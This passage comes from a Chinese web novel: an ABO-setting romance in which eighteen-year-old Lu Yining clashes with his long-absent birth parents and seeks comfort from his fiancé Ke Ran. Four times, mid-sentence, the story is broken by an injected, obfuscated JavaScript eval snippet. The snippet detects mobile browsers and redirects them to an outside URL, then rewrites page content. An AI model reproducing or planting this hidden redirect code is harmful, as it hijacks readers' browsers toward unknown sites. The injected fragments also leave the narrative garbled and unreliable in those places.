柯染和赵子舟现在的公司主要做全息游戏,柯染负责技术,赵子舟负责市场,前年上架的一款卡牌类游戏到现在每月流水还排前三,今年上架的变装游戏甚至在热搜上待了三天,把一众明星的热度都压了下去,玩家经常跑到官方微博下面能不能开新服勤快点。 说起来这个游戏的灵感还是来源于陆一宁,柯染有时候会陪陆一宁逛街买衣服,看他一套一套在自己面前展示,就萌生了做一款变装游戏的想法。 他自己的内测账号中,人物就是根据陆一宁捏的脸,当时赵子舟看了嗤之以鼻,然后转头就用自己的内测账号捏了个赵子时的脸。 “技术人员都很忙,你确定你有时间辅导小宁学习?”陆婉凌挑眉发问。 “目前几款游戏都走入正轨,有bug的话程序员会去维修,创意策划有专人负责,上线新功能我才会跟进,因此不需要我每天坐镇,白天小宁上学,我课业不忙会去公司,关于新游戏现在只有雏形,开发的事不着急,我时间很充裕。”柯染回答得有条不紊,显然他对自己的事业有很明确的规划。 这也是他和赵子舟商量过的结果,赵子舟虽说是个面瘫工作狂,可对于赵子时还是很上心的,不会因为工作疏忽弟弟。 陆一宁的眼睛在陆婉凌和柯染之间看来看去,总有种陆婉凌和柯染在争夺他抚养权的错觉。 “说起来小宁都十八岁了,寒暑假没事可以去我或者你爸爸的公司实习,多学学经验。”陆婉凌话锋一转,把和果汁抗争的陆一宁吓得差点呛到。 他抿抿唇拒绝:“不了,我学习忙,而且我对公司没什么兴趣。” 陆婉凌:“你不想继承我和你爸爸的家业?” 陆一宁诚实点头:“不想,我将来想学法律。” 陆婉凌:“……” 柯染摸着陆一宁的头发出来打圆场:“阿姨,小宁还小,他喜欢什么就做什么吧,他开心最重要。” 陆婉凌:“你别太惯着他了!” 柯染报以微笑,陆一宁表情无辜。 怕陆婉凌再发难,柯染紧急抛了个跟工作有关的话题出来。 “你公司的游戏很出名,国外都有很多人在玩儿,假以时日,会成为行业龙头也说不定。” 柯染谦虚:“陆阿姨谬赞。” 两人就工作聊了许多,间或插一些陆一宁的事,相谈甚欢的样子让陆一宁觉得柯染更像自己家长了。 快九点半的时候,孟云晴的飞机姗姗降落,他推着行李箱出来看到三人都在等他,很不好意思:“飞机因为故障晚点,让你们久等了,咱们先出去吧。” 柯染和陆一宁客套几句,陆婉凌却瞪着他冷冷道:“你再不出来,你儿子就要姓柯了。” 柯染:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191154|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆一宁:“……” 孟云晴不知道发生过什么,无辜看着陆婉凌的表情和陆一宁简直如出一辙。 两位父母把行李交给柯染,同时伸出一只手想要牵陆一宁,陆一宁幻想了一下他像几岁小朋友似的被家长牵着走在中间的画面,有点不忍直视,所以果断去帮柯染拿行李了,柯染不给就硬抢。 上了车,陆一宁刚要坐到副驾驶,孟云晴就一把拽住了他,指指后排:“宁宁陪爸爸坐后面,让他们Alpha到前面去。” 陆一宁迟疑几秒,同意了。 柯染早就订好了餐厅,今晚他们简单吃一口,明天柯辰和陈叶茹给他们设了接风宴。 本来柯辰和陈叶茹今晚要一起来的,但分公司出了点事必须他们亲自处理,两人就紧急出了个差,好在两家相交多年,陆婉凌和孟云晴不在意这些小事。 席间孟云晴不断感叹国内的食物才应该是人吃的,在国外发展多年,他至今不习惯外面的饮食,尝尝鲜还行,天天吃就是要了他的老命。 折腾一晚上,陆一宁肚子里的存货早就消耗没了,起初还很拘谨,后面就不管不顾了,和孟云晴一起大快朵颐,柯染全程一直在给他夹菜,自己都没怎么动筷。 陆婉凌见此情景,不禁怀疑到底谁才是陆一宁的爹。 吃饱饭,柯染负责送陆婉凌和孟云晴回住所,他们在国内都有房产,会定期让人打扫和保养。之前为了在陆一宁去的时候能营造出一家三口的氛围,陆婉凌和孟云晴还在一个房子里住过。 陆一宁不去,他们就各自待在自己的房子里,不过为了方便,他们的房子在同一楼层,是邻居,这倒省了柯染的事。 送两人上楼,孟云晴笑眯眯邀请:“小宁,今晚要不要和爸爸住?明天爸爸送你上学。” 陆一宁打个哈欠退到柯染身后,礼貌拒绝:“不了父亲,我每天有早自习,起床很早,您和母亲要倒时差,还是让柯染送我吧。” 陆婉凌此刻终于忍不住了:“儿子,你要认清楚谁才是你爹,柯染只是你的未婚夫。” 陆一宁愣了愣,不明所以:“我知道啊。” 陆婉凌犹如对牛弹琴,郁闷不已,孟云晴倒是没觉得有什么,还反过来劝她:“你看儿子多贴心,怕咱们累呢。” 陆婉凌:“……”倒也不用这么给自己贴金。 说好明天见,柯染和陆一宁与二人告别,看着两人相携而去,孟云晴和陆婉凌感慨:“儿子大了,有自己的心思,管太多会让他叛逆的,就像平时咱们和儿子打视频那样,温温柔柔的,儿子才会愿意和咱们多待一会儿。” 陆婉凌垂眼:“儿子太依赖柯染了,在他心里柯辰和阿叶是他亲生爸妈,咱们就比陌生人好点罢了,这些年给他的钱我猜他也没花过,柯染给他的股份就够他衣食无忧了。” 孟云晴:“早在当年把他寄养在柯家的时候就想到这一天了,不是么?” 陆婉凌沉默许久都没说话。 15. 工具 陆婉凌和陈叶茹一见面就给了彼此一个大大的拥抱,这些年陆婉凌在国外发展事业,每年在国内连十天都待不上,她们都许久没能坐下来好好说说话了。 寒暄过后,陆婉凌问起陆一宁和柯染:“两个孩子呢?” 陈叶茹笑笑,“小宁中午放学晚,小染去接他了,今天有个小测试,不能提前请假,所以得晚点到。” 柯辰在旁招呼道:“路上不堵车他们再有半个小时就到了,咱们先上菜,不用等他们。” 孟云晴点了支烟,顺便给柯辰发一支,两人就两家合作聊了起来。 柯染和陆一宁到的时候柯辰与陆婉凌已经喝上酒了,孟云晴不爱此道,便和陈叶茹一起喝饮料,见两人进屋,孟云晴热情的招呼陆一宁坐自己身边。 陆一宁犹豫几秒,走了过去,柯染则坐到了柯辰身边。 陆一宁这顿饭吃得没滋没味,他习惯了柯染在旁边帮他夹菜,孟云晴和陆婉凌虽也照顾他,可夹的都是他不怎么爱吃的。 或者换句话说,柯染夹什么他都爱吃,陆一宁在心里鄙视自己的双标。 柯染陪着长辈喝了两杯白酒,孟云晴对他们公司的游戏非常感兴趣,跟他聊了很多,聊到最后让柯染有了个新灵感,几乎迫不及待想和赵子舟分享,然后立刻做成游戏。 陆一宁吃完也没下桌,在对面撑着下巴对柯染走神,他喜欢看柯染对工作侃侃而谈的样子,更别说喝了酒的柯染别有一分魅力。 下午陆一宁去学校时他们还没吃完,柯染想送他被陆一宁拦住:“你喝了酒让刘哥送我吧,下午在家好好休息。” 许是有点上头,柯染点了点他手背,轻声道:“晚上我去接你。” “两个孩子感情可真好。”望着陆一宁的背影,陆婉凌向孟云晴要了支烟,吞云吐雾道。 “青梅竹马的情谊,旁人是比不了的。”孟云晴随口道。 散场已是两点多,柯染下午有一节课,他酒量好没怎么醉,直接去了学校,上完课又去公司,把在微信里没细说的创意和赵子舟当面沟通了一遍。 两人初步商定后召集策划组和创意组开了个会,一开就是好几个小时,结束后赵子舟道:“应该再多招聘人手了,技术人员每天忙成狗,今天A组组长跟我说,涨薪已经满足不了他们,必须找人分担工作。” “可以。”柯染点头,思索一番说道:“美术组也多招两个人吧,顺便给大家都提薪20%,奖金也提5%。” 赵子舟没反对,只是说:“你一点不适合当个资本家。” 柯染拍拍他的肩,正色道:“社会主义哪来的资本家。” 赵子舟:“……” 处理了一些工作,七点多的时候柯染闹钟响了,这是他为接陆一宁放学特意设置的。 出门正好碰到赵子舟,显然和他是一样的目的。 抵达校门口时下课铃刚响完,一批接一批高三生从教学楼出来,柯染和赵子舟无所事事的靠在车边等人,聊着聊着又聊到工作,还是柯染起的头。 赵子舟对此锐评:“说我是工作狂,你也不遑多让。” 柯染:“不聊工作,那聊一下孩子的教育问题?” “你俩确实该多管管赵子时和陆一宁。”一道声音从身后传来,是宋雨榕。 “宋老师。” “宋老师。” “老师这么晚还没下班,辛苦了。”柯染随口拍马屁。 “不用奉承,我正好有事找你们,现在碰见倒不用打电话了。”宋雨榕向来是有事直说的性子,“学校准备邀请三个优秀毕业生做演讲,Alpha、Beta、Omega各选一位,我和校长思来想去,认为Alpha中你俩最合适,演讲在下个月,你们考虑考虑谁过来。” “我们毕业都好几年了,回来演讲不太好吧?”赵子舟迟疑道。 “你俩当初一个保送Q大数学系,一个保送Z大物理系,现在还合伙开公司,我敢保证,学校至少超过70%的人玩过你们的游戏,这么成功的例子,怎么不合适?” 说到这儿,宋雨榕十分不解:“一个学数学,一个学物理,开了个八竿子打不着的游戏公司,怎么想的。” 柯染干笑两声:“专业是爱好,和工作没关系。” 数学系和物理系其实很忙,有时候他们做实验去不了公司,工作就会积压,加上要辅导功课,很多时候都是熬夜加班,拉磨的驴都没有他们忙。 如果可以,他们很想给自己也涨工资,奈何他们是老板。 “行了,不多说了,你们考虑好告诉我,另外,期中考要是陆一宁和赵子时排名再降,你们四个就去我办公室一起挨训。” “好的老师,老师再见。”目送宋雨榕离开,赵子舟问旁边的人:“你去?” “你去,我忙。” “我更忙,我要上课,要做实验,要开会,要跟家里老头子汇报工作,比你忙多了。” 柯染无语:“你把借口都说完了,我用什么?” 正说着话,他们等的人出来了,赵子时扑到赵子舟身上嚷嚷:“饿死我了,我要吃鱼丸,吃卤肉卷,吃炸鸡柳。” 陆一宁有样学样:“我要吃煎饼果子!两根肠两个蛋那种!还要吃口袋馍,全放肉!” 排队买东西的人很多,高三生压力大消耗也大,每个摊位前都排满了长队,柯染开玩笑说不如他们也来摆摊算了,离学校近还赚钱,还能边做边吃,一天都饿不着。 赵子舟想了想两人的做饭手艺,摇摇头:“我们要是来摆摊,宋老师就该让我们做反面教材了,还得上个法制频道,标题就是,优秀毕业生在母校门口投毒为哪般?” 陆一宁小声和赵子舟吐槽:“他俩做饭,路边的狗吃了都后悔朝他俩要饭。” 赵子舟深有同感:“可能这就是传说中的上帝开一扇门就会关一扇窗吧。” “啧,下回说坏话小点声,让我们听到多不好。”柯染噙着笑意,在陆一宁额头轻弹一下。 陆一宁反驳:“这不是坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191155|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,是实话。” 买完东西回到家九点半多了,陆一宁做两张卷子背会儿课文就快到十二点,柯染收拾着他的书包,思索是否应该在学校附近买套房子,这样可以不用在路上浪费时间。 可他们一个Alpha,一个Omega,单独住在一起有点危险,要不雇两个Beta保姆?或者有什么能节省时间的方法? 柯染在心中思索,准备明天问问陆一宁的意见,现在太晚了,跟他说完他能想一晚上出去住的好处,然后想方设法说服柯染在外面住。 互相道了晚安,柯染从房间出去,陆一宁关灯睡觉,半睡半醒间忽然想起陆婉凌发的消息还没回,他急忙开灯拿出手机看发了什么。 晚上七点多陆婉凌在群里问他要不要跟她和孟云晴住几天,那个时间他在上晚自习,当然没看到,陆婉凌见他没回打了两个电话,他静音也没接到,不知道是不是问了他的上课时间,后面就没再发消息,直到十点多又打一个电话,但他始终静音,什么都没看到。 想了想,陆一宁顶着困意发了条语音:“父亲母亲,抱歉,我晚上在做卷子没看手机,现在刚准备睡觉,我就不过去和你们住了,每天起床太早放学太晚,很打扰你们,你们的住所也离学校太远,而且过去住柯染辅导我学习不方便,综合考虑,我还是不搬了。” 这条发完,他又补充一句:“如果不忙,我可以在周末去你们那里吃饭。” 陆一宁不想把话说太死,虽然跟他们不亲,但也无意破坏和他们的感情。 等了几分钟没有回复,陆一宁插上充电器,把手机扔到一边,卷上被子自顾自睡了,临睡前脑子里冒出个想法:要是能和柯染单独出去住该多好,就他们两个人,把柯染的抑制剂一扔,他就可以标记自己了。 翌日一早,陆一宁看了眼手机,是孟云晴回复的他,对他的决定表示理解,顺便邀请他周六去家里吃饭,还问他有没有想去玩的地方,他们一家三口可以一起去。 陆一宁答应去吃饭,选择性忽略他的问题。 从小到大他想去哪儿玩,陪他的都是柯染和柯爸爸柯妈妈。小时候他不理解,为什么柯爸爸和柯妈妈是在公司工作,亲生父母也是在公司,柯爸爸柯妈妈就能抽出许多时间陪他和柯染,而亲生父母却连和他打电话的时间都没有。 后来长大些他渐渐明白,没有谁是为了另一个人活的,每个人活着是为自己,况且人生在世总要有取舍,选择A就要放弃B,两全其美很难,就像陆婉凌和孟云晴,选择事业,把他带在身边又是累赘,因此舍弃。 不想让两个家族争来吵去,所以把他扔给朋友,以此来解决问题。 一直以来,他都是一个工具,一个让他们和家族交差,可以随时扔掉的工具。 “在想什么?”柯染夹了煎饺给他,打断陆一宁的思绪。 “柯染,你会不要我吗?”陆一宁抬起头,少有的严肃。 “当然不会。”柯染想都不想就回道,“我永远在你身边。” 16. 自私 周六一早陆婉凌和孟云晴就在群里问陆一宁几点过去,还问需不需要过来接他,陆一宁回复做完两套卷子就去,并拒绝他们来接人的提议。 孟云晴在群里发了个小狗失落的表情包,陆一宁随手回个“摸摸头”就没再说话。 做完卷子十点多,陆一宁带上柯辰和陈叶茹给他准备的许多礼物,上了柯染的车。 柯染今天正好有个应酬,原本不想参加,现在陆一宁不在家,他就打算去露个面。不出意外陆一宁要晚上才能回来,他正好可以处理一些积压的工作,晚上顺路接人。 到了楼下,陆一宁迟迟不愿解开安全带,反复问柯染是不是晚上就能来接他,不会让他在这里过夜。 “是,只要你给我发消息,我立刻就过来,不会让你在这里过夜。”陆一宁每问一遍,柯染都会不厌其烦的回答一次,就像哄第一天去幼儿园的小朋友。 “哎。”陆一宁托腮叹气,“要是你会拨动时间该多好,我希望现在就是晚上。” 柯染被他逗笑,在他头顶呼噜一把,道:“你当我是哆啦A梦吗,什么都能做到。” “要不你别研究游戏了,开个科技公司研究时光机应该比做游戏挣钱。”陆一宁一本正经的提议。 柯染看出他在没话找话拖延时间,把他刚刚被自己揉乱的头发揉回去,向他保证道:“我一定会早点来接你,只要你给我发消息,无论我在做什么都会立刻过来,一定不让你久等。” “那,你给我吸一口你的信息素。”陆一宁解开安全带,不等柯染回答就侧过身抱住他。 “身上沾着信息素上门做客,不礼貌。”柯染嘴上劝导,动作却很诚实。 檀香味儿充满鼻腔,陆一宁十分满足。 如果不是陆婉凌来电话催促,他还想再多抱一会儿。 柯染把他送进电梯,等陆一宁发消息说进门了才驱车离开。 陆一宁身上的檀香味儿不重,但还是被陆婉凌和孟云晴给捕捉到了,两人对视一眼,都从彼此的眼神中看到两个字——你问。 陆一宁注意到两人的眉来眼去,把带来的东西放到地上,他主动解惑:“我身上是柯染的信息素。” 孟云晴斟酌着问:“柯染有标记过你吗?” 陆一宁摇头苦笑:“他肯标记我就好了。” 这下陆婉凌和孟云晴放心一些,虽说是未婚夫夫,但他们也不想陆一宁这么小就把自己交出去,才18岁就许定终身,这是电视剧应该有的情节。 松口气的二人为了转移话题去看陆一宁给他们带的礼物,都是柯辰和陈叶茹亲自选的,就没有他们不喜欢的。 孟云晴夸赞:“儿子有眼光,看这个袖扣和我今天的衬衫多般配。” 陆一宁犹豫再三没说出真相,实话太伤人,说不出来扫兴。 就像陆婉凌和孟云晴每次给他带的礼物他都不喜欢一样,他也不知道面前的两人喜欢什么,亦没兴趣了解。 人的好感都是一点点耗光的,陆一宁第一次和他们说自己不喜欢积木的时候他们不在意,第二次买的礼物有好几套积木,他重新表达一遍后仍不被记在心里,第三次还是成套成套的积木送给他,从此他就再没什么表达欲了。 比如他茄子过敏,每次从来不碰陆婉凌亲手做的茄子豆腐煲,可他的两位父母从来没发现过。 他们忙着营造一个即使离异、即使一年和孩子待不到十天,但一家三口很幸福的氛围。 食不知味的吃过饭,陆一宁陪着他们聊天,虽然多数都是他们起话题,中途孟云晴出去接电话,只剩陆婉凌和他聊天。 “小宁最近学业很忙吗,有时候晚上给你发消息你都看不到。” 陆一宁:“高三大家都很忙,要在学校上晚自习,回家要做卷子背单词背课文,有时候洗漱完就睡了,手机都不看。” “小宁,之前在视频里说的,去国外读书,你有考虑过吗?”陆婉凌小心翼翼的观察陆一宁的表情,见他没有反感才继续说下去,“我们在国外有帮你看过学校,不管你跟着谁生活,都有好学校。” 陆一宁很平淡的反问:“我为什么要去国外生活?” 陆婉凌脱口而出:“因为爸爸妈妈在国外啊。” 陆一宁又问:“以前你们也在国外,为什么不想着带我走?” 陆婉凌看出他的不悦,忙坐到他身边露出一个和蔼慈祥的微笑,不过因为不熟练,所以笑得很牵强,她向陆一宁解释:“因为以前工作忙,没条件接你过去,但现在不一样了,现在我们可以照顾你,给你更好的生活,让你不用再寄人篱下,况且这么多年爸爸妈妈对不起你,想好好补偿你。” 陆一宁把她的话翻译一遍:“以前我未成年,你们怕照顾我麻烦,现在我成年了,有自理能力,把我扔在寄宿学校就可以,不需要你们多费心,所以你们良心发现,打着补偿我的名义,满足你们的虚荣心,向外界展示你们是个用心良苦的好父母。” 陆婉凌皱起眉,有种被戳中心事的不爽,她整整表情,不高兴道:“小宁,你怎么能这么说,这是应该和父母说话的态度吗?” 陆一宁强忍住发火的冲动,冷静道歉:“抱歉,母亲,刚刚是我态度不好,不过我不会去国外的,我想考Q大学法律专业,这是我很早就定下的目标。” 陆婉凌不死心的继续劝:“我们都是为你好,国内学业压力大,你太辛苦了,我们只是想让你过得轻松点。” 陆一宁已经开始不耐烦,可还是压着脾气和他她沟通:“谢谢你们为我考虑,但请你们尊重我,我只想上Q大,就算辛苦些也是我自愿的。” 陆婉凌再次蹙眉,“小宁,你年纪不小了,也该懂点事,我们都是为你好,你跟我们去国外,我和你爸爸能手把手培养你,况且这么多年咱们聚少离多,你跟我们走,我们多陪陪你,不好吗?” 陆一宁感觉非常荒谬,他觉得陆婉凌在讲一个天大的笑话。 他不可思议的抬起头,声调不由抬高些:“陆女士,你在和我开玩笑吗?你们想多陪陪我,所以要求我跟你们走??你们怎么不把产业转移回国内,在国内陪我?” 陆婉凌的手压上他肩膀,语重心长的规劝他,同时诉说自己的苦衷:“小宁,我刚说过了,你要学会懂事,你以为产业转移那么轻松吗,你要学会理解爸爸妈妈,再说我们想多陪陪你,有错吗,跟我们去国外,我们可以给你更优渥的生活,你喜欢柯染,我和你爸爸也可以给他在国外牵线,让他把事业重心转移过去陪你,如果他不肯,那这门亲事作废也未尝不可。” 陆一宁忍住甩开她的冲动,等她把一大串话说完才依次反驳:“首先,你们没错,但不要妄想我理解你们的谬论,其次,我现在的生活就很好,不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191156|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改变,最后,我和柯染的事我自己心里有数,不需要任何人插手。” 陆婉凌彻底被他激怒,她的手用力压了压,Alpha的压迫感传来,陆一宁不由自主的想要逃离。 “我们为你打算你就这么不领情?小宁,做人不要太自私,你要学会理解父母,你以为我们在国外就很容易吗?我们打拼事业不都是为了你吗,你跟我们去国外,一切问题就都可以解决,这么简单的事你都办不到,你对得起我和你爸爸吗?” 陆一宁简直被气笑了,他一把挥开肩膀上的手,站起来大声与她对峙:“我自私?到底是谁自私?你们这么多年一走了之把我扔在柯家不管不顾,居然说我自私?你要不要数一数,这么多年加起来,我们见面的时间有100天吗?柯家辛辛苦苦把我养到成年,你们两个甩手掌柜轻轻松松就想摘取果实,你们好意思吗?让我理解你们,你们怎么不说理解理解我,怎么不多看看心理学,了解一下不在父母身边长大的孩子会有什么问题?” 陆婉凌被他一番话堵得哑口无言,可常年上位者的身份让她不甘认输,正当她要辩驳几句占回上风时,打完电话的孟云晴回来了。 看到两人剑拔弩张的架势他就知道谈崩了,为了避免本就脆弱的亲情分崩离析,他走到两人中间当起和事老,一人拉起一只手,用自认为最和善的语气道:“有话坐下来好好说,小宁,我们也是想解决问题嘛,凡事都可以商量的。” “商量?解决问题?”陆一宁冷笑一声甩开他的手,“孟先生,陆女士,请问你们有解决问题的能力吗?多年前你们无法解决家族联姻的问题,所以被迫结婚被迫生下我,后来无法解决我交给谁家抚养的问题,就把我扔给柯家,现在,你们无法解决产业转移国内的问题,不,是根本不想解决,你们怎么可能为了一个工具牺牲打拼多年的事业呢?你们扪心自问,你们能解决什么问题?两个年龄加起来已过耄耋的人,连解决问题的能力都没有,恕我直言,你们的事业想必也不顺利,骄傲自大,自以为是,像你们这种自私自利的人,在生意场上吃了不少亏吧。” 陆一宁的话字字珠玑,孟云晴垂头看着被甩开的手,还想再去拉,被陆一宁一把躲过,并直言:“你们不用一个唱白脸一个唱红脸,孟先生,不用做出伪善的样子劝我,如果不是你们串通好,陆女士不会和我说那些,别以为我好糊弄,我说句不好听的,躲在Alpha背后不敢面对问题的Omega,让人鄙视,尤其是连亲生儿子都不敢面对,更让人鄙视。” 孟云晴想辩解,可陆一宁说的是事实,他呐呐两声说不出话,陆婉凌嫌他碍事,把他扯到一边,十分强势的对陆一宁道:“再怎么说我们生了你,陆一宁,我告诉你,你必须跟我们走,由不得你们愿不愿意!” 陆一宁怒极反笑,“你指的生了我是一人提供一颗细胞然后做试管吗?我谢谢你们生了我,所以呢?我死你们面前把命还给你们?” 陆婉凌惊了:“你怎么知道你是试管婴儿?” 陆一宁怕给柯辰和陈叶茹带来麻烦,不得不解释一句:“外公去世前说的,不过这不重要,我会把你们这些年打给我的钱双倍还给你们,以后没事我们就不用再联系了,就这样吧,孟先生,陆女士。” 说完最后一句绝情的话,陆一宁抄起茶几上的手机便夺门而出,任凭陆婉凌和孟云晴如何挽留都置之不理。 17. 演戏 陆一宁已经沿着这条街道走了三四遍,手机上是陆婉凌和孟云晴的轮番轰炸,他心中烦躁,顺手就将这两人拉黑。 现在的他已经完全冷静下来,对于下午的吵架他并不后悔,更不后怕,反而觉得很畅快,忍耐在心中十数年的话一朝吐出,他从未觉得如此轻松过。 至于其他人什么心情,那他就管不着了。 走到第五圈的时候,陆一宁终于走累了,他找个长椅坐下,给陈叶茹打了个电话,将吵架的前因后果大致说了一遍,又说自己已经把钱双倍转过去,听到这里,陈叶茹长长的叹了口气:“这事儿,是他们不对,太不尊重你了,我和你爸爸会去劝劝,你就先别管了,要是再起冲突,我和你爸爸给你做主。” 陆一宁听完心里一暖,软声答道:“我知道了,妈妈,谢谢您和爸爸。” 挂断电话,陆一宁看到陈叶茹给他转了一大笔钱,备注是让他出去吃点好的,看中什么买什么,钱不够再要。 陆一宁鼻子酸涩,眼角湿润,本来他打这个电话是希望陈叶茹有个心理准备,不要因为自己破坏了她们的朋友感情,但陈叶茹的表现让他有些意外,又在情理之中。 柯家父母一向把他当亲儿子对的。 收下钱,陆一宁回了一个“抱抱”的表情包,让她先不要把事情告诉柯染,然后就再没去看手机。 缓了几分钟,感觉情绪恢复的差不多,陆一宁随手打辆车,报了柯染公司地址。 他知道柯染下午回公司加班,这个时间说不定能突击检查,查个岗什么的。 之前公司就有一个Omega三番五次暗示柯染喜欢他,但柯染也不知是太直A还是装听不懂,每次都能很巧妙的化解人家的表白,大半年后,人家被他气得接受了另一个Beta的追求,现在两人生活甜如蜜,都准备要二胎了,Beta直言柯染是他俩的间接媒人,每次见面都要感谢一番。 陆一宁知道这事后笑了好久,同时隐隐担忧,平时他间接表明的那些心意,柯染不会也听不出来吧? 胡思乱想间,目的地已经到了,陆一宁抬头看看牌匾上的卡通字体,KLZS游戏工作室,心里忍不住发笑。 有时候他觉得自己不必杞人忧天,有时候又觉得人应该防患于未然,两厢纠结下他选择了拉赵子时陪他一起忧天。 周末没有值班的前台,陆一宁大摇大摆在楼下大厅转了一圈,好似在欣赏江山。 进了柯染的专属电梯,直达顶楼。 整个楼层只有一个秘书处的秘书留守,看到陆一宁过来虽有些许惊讶但并未多说什么,只告诉他柯染和技术组的人在会议室开会,如果有需要他可以进去通报一声。 陆一宁原地思考两秒,拒绝了这个提议,请他不要打扰柯染,自己在办公室等待便是。 在办公室巡逻一圈,没有发现任何可疑物品,陆一宁很是满意,看来柯染知道自己是有O之A,值得奖励。 该奖励什么呢?陆一宁坐在老板椅上,屈指思考。 就奖励他一个受了委屈哭着要抱抱的自己吧。 陆一宁跑进卫生间,对着镜子不断调整表情,力求在见到柯染时可以表现出最真实的愤怒与委屈。 使劲掐了一把大腿,生理性的泪水流出来,陆一宁边哽咽边说台词。 “这个世界上只有你对我最好,呜呜呜,要是你也不要我,那我活着还有什么意思,呜呜呜。” “他们太欺负人了,他们从来没把我当人呜呜呜,还好有你呜呜呜……” 两句话没说完眼泪就干了,陆一宁尽力想表演抽噎,抽半天没抽出来,反而有点恶心对着马桶干呕了几口。 这么下去不是办法,如果不能把这次吵架利益最大化,不能在柯染这里获得到最多的同情,那今天下午他的怒吼将毫无意义。 回到办公室,陆一宁外卖了一瓶眼药水,顺便叫了份饭,订了两杯饮品,给秘书小哥一杯。 中午他就没吃饱,他不挑食,但挑吃饭的人。 柯染每次和技术组开会都要好久才能结束,陆一宁在办公室吃完了饭,喝完了饮料,把抽屉里的小零食吃没一半,柯染还没回来。 瘫在沙发上消化一会儿,陆一宁拿着眼药水重新进入卫生间。 镜子里的Omega脸色苍白,梨花带雨,我见犹怜的模样是个Alpha都会心动,陆一宁又往眼角滴了两滴,做出眼泪半掉不掉,悬挂在半空中的样子。 有了道具加持,效果果然不错。 把眼药水揣兜里,陆一宁回办公室背单词,这样等柯染进来就会看到一个弱小可怜又无助,但非常爱学习的他。 背完两个单元柯染都没回来,陆一宁看时间还早,让赵子时把周末的卷子拍照片发过来,他打印出来,写起了作业。 一直到晚上六点多,理综卷子都写完两张,他才听到外面传来此起彼伏的脚步声。 赶紧在做完的卷子还有单词册上滴几滴不规则的眼药水,陆一宁仰起头,赶在柯染进门的最后一刻,完成了从普通人到未来影帝的蜕变。 柯染一推门,就看到了坐在桌前一边写字一边擦眼泪的可怜Omega,他从秘书那里得知陆一宁在办公室后,草草对助理交待几句就过来了,没想到会看到这幅情景。 听到开门声,陆一宁抬起头,胡乱的用袖子擦了擦眼泪,他吸吸鼻子,楚楚可怜的朝柯染伸出了双手,“你怎么才回来啊,我都等你好久了。” “这是怎么了,怎么哭成这样?” 柯染快步走过去,一把将人抱在怀里,陆一宁坐在他腿上,把眼泪鼻涕蹭了他一身。 “怎么了,谁欺负你了,和叔叔阿姨聊的不愉快吗?”柯染轻轻帮他抹去眼泪,又倾身从桌上抽出纸巾给他擤鼻涕,陆一宁一手抱他脖子,一手偷偷掐自己大腿,眼泪一波接一波的往外淌,什么都没说,又仿佛什么都说了。 柯染看得心疼,把他掐大腿那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191157|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拉出来攥住,另一只手则不停的给他抹眼泪。 “不哭不哭,有什么委屈告诉我,我来解决好不好?”柯染很想吻去他眼角的泪花,可理智却阻止了他。 “我、我不想离开你,离开爸爸妈妈,我想、想永远和你在、在一起。”陆一宁抽噎着说完完整的话,两只手都抱上了柯染。 “他们欺负我,他们想带我走,让我离开你,我不喜欢他们,我只喜欢你,柯染,我只喜欢你……”陆一宁哭着哭着就真情实感起来,环在柯染胳膊上的手也不自觉用起力。 本来只想做戏获得柯染的怜爱,从而讨要一些好处,然而当柯染抱住他满眼都是疼惜的时候,原本不在意的事情忽然变成了天大的委屈,即使没有外力,眼泪也控制不住的流出来。 “不哭不哭啊,没有人能带走你,只要你不想,我不会让任何人强迫你。”柯染轻拍他的后背,缓缓释放出信息素安抚。 而后犹豫再三,很小声的回应了一句,“我也只喜欢你。” 不过他声音太小,陆一宁哭声很大,他不确定对方有没有听到。 感受到肩膀上源源不断的湿意,柯染猜测应该是没有的。 眼泪只是发泄情绪的一种方式,哭了大半个小时,陆一宁心里舒服多了,堵在胸口的一小团不易察觉的郁气在柯染怀里散了个干干净净。 柯染见他的哭声逐渐停止,拍他后背的手也慢慢停了下来,两人微微拉开些距离,他商量似的问道:“缓一缓,然后告诉我到底发生了什么好不好?” 